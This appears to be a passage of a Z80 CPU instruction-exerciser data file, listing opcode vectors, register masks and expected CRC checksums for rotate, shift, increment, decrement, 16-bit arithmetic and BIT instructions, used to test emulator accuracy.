vec 0xcb,0x07,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xfd4e5ef3,all,0x283e77e2,docflags,0x8b7cb641,doc,0x9bd2c7a4,ccf,0xdd9bbb3f,mptr,0x46c57ece
name "RLC A"
.rrc_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x0f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xd42a65e9,all,0x8ec5c37a,docflags,0x0c7c4286,doc,0x8d108e55,ccf,0x60cd57c2,mptr,0x1f83228c
name "RRC A"
.rl_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x17,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x9fcd23ea,all,0xf4284a2f,docflags,0xe9ffcb58,doc,0x47c4fa69,ccf,0xbf18c626,mptr,0x46c57ece
name "RL A"
.rr_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x1f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2c01ccfe,all,0x8ff2a587,docflags,0xf457eb91,doc,0x8c27e8a8,ccf,0x98e6fed5,mptr,0x1f83228c
name "RR A"
.sla_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x27,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x14e83f4b,all,0x23575776,docflags,0x62dad7f9,doc,0x90bbe730,ccf,0x343dda87,mptr,0x46c57ece
name "SLA A"
.sra_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x2f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2d1ddbfe,all,0x43fd2a03,docflags,0xf54bfc91,doc,0x4028672c,ccf,0x99fae9d5,mptr,0x1f83228c
name "SRA A"
.slia_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x37,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x3e979588,all,0x310e725b,docflags,0x48a57d3a,doc,0x82e2c21d,ccf,0x1e427044,mptr,0x46c57ece
name "SLIA A"
.srl_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x3f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xdf0809ad,all,0x0dd8dbb3,docflags,0x075e2ec2,doc,0x0e0d969c,ccf,0x6bef3b86,mptr,0x1f83228c
name "SRL A"
.rlc_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x00,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa9cf462b,all,0xd0dbb5c9,docflags,0xd846f0af,doc,0x1d40c543,ccf,0x0de3b8d0,mptr,0x583613cd
name "RLC [R,(HL)]"
.rrc_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x08,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x46951078,all,0x580c3699,docflags,0xa89fed01,doc,0x6e47194f,ccf,0xb3205743,mptr,0x0ef99a43
name "RRC [R,(HL)]"
.rl_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x10,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x39619ccf,all,0x6ce63685,docflags,0x48e82a4b,doc,0xa17d460f,ccf,0x9d4d6234,mptr,0x583613cd
name "RL [R,(HL)]"
.rr_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x18,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x92fb276b,all,0xaaef8e65,docflags,0x7cf1da12,doc,0x9ca4a1b3,ccf,0x674e6050,mptr,0x0ef99a43
name "RR [R,(HL)]"
.sla_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x20,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf40a2fa5,all,0x964172f2,docflags,0x85839921,doc,0x5bda0278,ccf,0x5026d15e,mptr,0x583613cd
name "SLA [R,(HL)]"
.sra_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x28,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8f46e5af,all,0x1fbb780d,docflags,0x614c18d6,doc,0x29f057db,ccf,0x7af3a294,mptr,0x0ef99a43
name "SRA [R,(HL)]"
.slia_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x30,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x1a61a672,all,0xd709a853,docflags,0x6be810f6,doc,0x1a92d8d9,ccf,0xbe4d5889,mptr,0x583613cd
name "SLIA [R,(HL)]"
.srl_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x38,stop,0x00,mem,0x1234,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x07,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xfe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xe3e1480c,all,0xa1ea5b8c,docflags,0x0debb575,doc,0x97a1745a,ccf,0x16540f37,mptr,0x0ef99a43
name "SRL [R,(HL)]"
.sro_xyd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0x06,mem,0x1200,a,0xa0,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x38,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xc76b6fb8,all,0x1cf5bf25,docflags,0x6ed22cb1,doc,0x4ce1c915,ccf,0x634cfd9b,mptr,0xda289a0a
name "SRO (XY)"
.sro_xyd_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0x00,mem,0x1200,a,0xa0,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x3f,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xfe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xd88fde47,all,0x2e23102b,docflags,0x0af8b1a8,doc,0x31dc0d48,ccf,0xa7ae2064,mptr,0xe9fc598c
name "SRO (XY),R"
; 8 bit inc/dec.
.inc_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x3c,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x87cacbb1,all,0xa55c5156,docflags,0x424ec003,doc,0xef741e2c,ccf,0x79baf440,mptr,0x07fa9b1e
name "INC A"
.dec_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x3d,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x63cee668,all,0x36167475,docflags,0xc18a1817,doc,0x6e625809,ccf,0x83519741,mptr,0x07fa9b1e
name "DEC A"
.inc_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x04,stop,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0xffff,de,0xffff,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xbe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x6d329bb5,all,0xad4583fc,docflags,0xa8353115,doc,0x577d9442,ccf,0xa3e04aee,mptr,0xd2af014c
name "INC [R,(HL)]"
.dec_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0x05,stop,0x00,0x00,mem,0xffff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0xff,f,0xbe,bc,0xffff,de,0xffff,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xe2207af8,all,0xddb3ebf9,docflags,0xea0faeaa,doc,0xfc5aceff,ccf,0x516dcee2,mptr,0xd2af014c
name "DEC [R,(HL)]"
.inc_x flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x24,stop,0x00,mem,0x1234,a,0xa0,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xffff,iy,0xffff,sp,0xc000
vec 0x20,0x08,0x00,0x00,mem,0x0000,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0xffff,iy,0xffff,sp,0x0000
crcs allflags,0x72eec05f,all,0xe5a34ced,docflags,0x48355f66,doc,0x0b3690d0,ccf,0xb575fded,mptr,0x061a489c
name "INC X"
.dec_x flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x25,stop,0x00,mem,0x1234,a,0xa0,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0x0000,iy,0x0000,sp,0xc000
vec 0x20,0x08,0x00,0x00,mem,0x0000,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0xffff,iy,0xffff,sp,0x0000
crcs allflags,0x307ea05a,all,0x331c7bf9,docflags,0x4f85fe9a,doc,0x79ca0f3e,ccf,0xc272dc96,mptr,0x061a489c
name "DEC X"
.inc_xyd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x34,0x00,stop,mem,0xffff,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0001,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00fe,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xdca01a72,all,0x04323153,docflags,0xfd517beb,doc,0x5e36d887,ccf,0xaf1b424a,mptr,0xbae92d6d
name "INC (XY)"
.dec_xyd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0x35,0x00,stop,mem,0x0000,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0001,a,0x00,f,0x41,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00fe,a,0x00,f,0xbe,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xf0c6ba74,all,0xe317913c,docflags,0x95a51d52,doc,0xc707eef8,ccf,0xaffdbb9c,mptr,0xbae92d6d
name "DEC (XY)"
; 16 bit inc/dec.
.inc_rr flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x03,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xffff,de,0xffff,hl,0xffff,ix,0xdd88,iy,0xfd77,sp,0xffff
vec 0x30,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0001,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0001
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xfffe,de,0xfffe,hl,0xfffe,ix,0x0000,iy,0x0000,sp,0xfffe
crcs allflags,0x12137ffe,all,0x8cd11626,docflags,0x12137ffe,doc,0x8cd11626,ccf,0x0cedc91d,mptr,0x48cdbd6b
name "INC RR"
.dec_rr flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x0b,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xdd88,iy,0xfd77,sp,0x0000
vec 0x30,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0001,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0001
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xfffe,de,0xfffe,hl,0xfffe,ix,0x0000,iy,0x0000,sp,0xfffe
crcs allflags,0x12137ffe,all,0x343b2da0,docflags,0x12137ffe,doc,0x343b2da0,ccf,0x0cedc91d,mptr,0x48cdbd6b
name "DEC RR"
.inc_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x23,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xffff,iy,0xffff,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xfffe,iy,0xfffe,sp,0x0000
crcs allflags,0x9adb43df,all,0xe132d93b,docflags,0x9adb43df,doc,0xe132d93b,ccf,0xc6e8494f,mptr,0xe5d6883e
name "INC XY"
.dec_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0x2b,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0x0000,iy,0x0000,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xfffe,iy,0xfffe,sp,0x0000
crcs allflags,0x9adb43df,all,0xd3d07c72,docflags,0x9adb43df,doc,0xd3d07c72,ccf,0xc6e8494f,mptr,0xe5d6883e
name "DEC XY"
; 16 bit arithmetics.
.add_hl_rr flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0x09,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xdd88,iy,0xfd77,sp,0x0000
vec 0x30,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0xc800,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xffff,de,0xffff,hl,0x37ff,ix,0x0000,iy,0x0000,sp,0xffff
crcs allflags,0x38891c0b,all,0xbfd3ba45,docflags,0xc2a83dbb,doc,0x5d49a198,ccf,0x834a2beb,mptr,0xd81b6329
name "ADD HL,RR"
.add_ix_rr flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0xdd,0x09,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x4411,ix,0x0000,iy,0xfd77,sp,0x0000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0xc800,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xffff,de,0xffff,hl,0x0000,ix,0x37ff,iy,0x0000,sp,0xffff
crcs allflags,0x38891c0b,all,0x4c9bba44,docflags,0xc2a83dbb,doc,0xae01a199,ccf,0x834a2beb,mptr,0xd81b6329
name "ADD IX,RR"
.add_iy_rr flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0xfd,0x09,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x4411,ix,0xdd88,iy,0x0000,sp,0x0000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0xc800,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xffff,de,0xffff,hl,0x0000,ix,0x0000,iy,0x37ff,sp,0xffff
crcs allflags,0x38891c0b,all,0x5b74c0fe,docflags,0xc2a83dbb,doc,0xb9eedb23,ccf,0x834a2beb,mptr,0xd81b6329
name "ADD IY,RR"
.adc_hl_rr flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0xed,0x4a,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xdd88,iy,0xfd77,sp,0x0000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0xc800,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0xffff,de,0xffff,hl,0x37ff,ix,0x0000,iy,0x0000,sp,0xffff
crcs allflags,0x422b5c67,all,0x6c7246df,docflags,0x32f5ed56,doc,0x3fdf376d,ccf,0x490ec3d7,mptr,0x00c7e8a8
name "ADC HL,RR"
.sbc_hl_rr flags s,1,z,1,f5,0,hc,0,f3,0,pv,1,n,1,c,1
vec 0xed,0x42,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0xdd88,iy,0xfd77,sp,0x0000
vec 0x00,0x30,0x00,0x00,mem,0x0000,a,0x00,f,0x01,bc,0x0000,de,0x0000,hl,0xc800,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xfe,bc,0xffff,de,0xffff,hl,0x37ff,ix,0x0000,iy,0x0000,sp,0xffff
crcs allflags,0xbf3c66bf,all,0x8c5ff28a,docflags,0x053b7ece,doc,0xf63a616d,ccf,0x6ab97a85,mptr,0x67ac8297
name "SBC HL,RR"
; Bit instructions.
.bit_n_a flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x47,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x28,f,0x28,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xd7,f,0xd7,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x94eb9955,all,0x3a1914e7,docflags,0x129a36d9,doc,0x254f5b14,ccf,0x2023d1a2,mptr,0xbe47190a
name "BIT N,A"
.bit_n_hl flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x46,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0028,a,0x00,f,0x28,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00d7,a,0x00,f,0xd7,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf5d39111,all,0x7f6e6fae,docflags,0x8dcbbff3,doc,0x1fe2af42,ccf,0x77b22658,mptr,0xf3795427
name "BIT N,(HL)"
.bit_n_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xcb,0x40,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x3f,0x00,0x00,mem,0x0000,a,0x00,f,0x28,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xd7,bc,0xffff,de,0xffff,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x80f58eca,all,0xb0777901,docflags,0xff835842,doc,0xb7c832b6,ccf,0x736a3cba,mptr,0x60f9121c
name "BIT N,[R,(HL)]"
.bit_n_xyd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
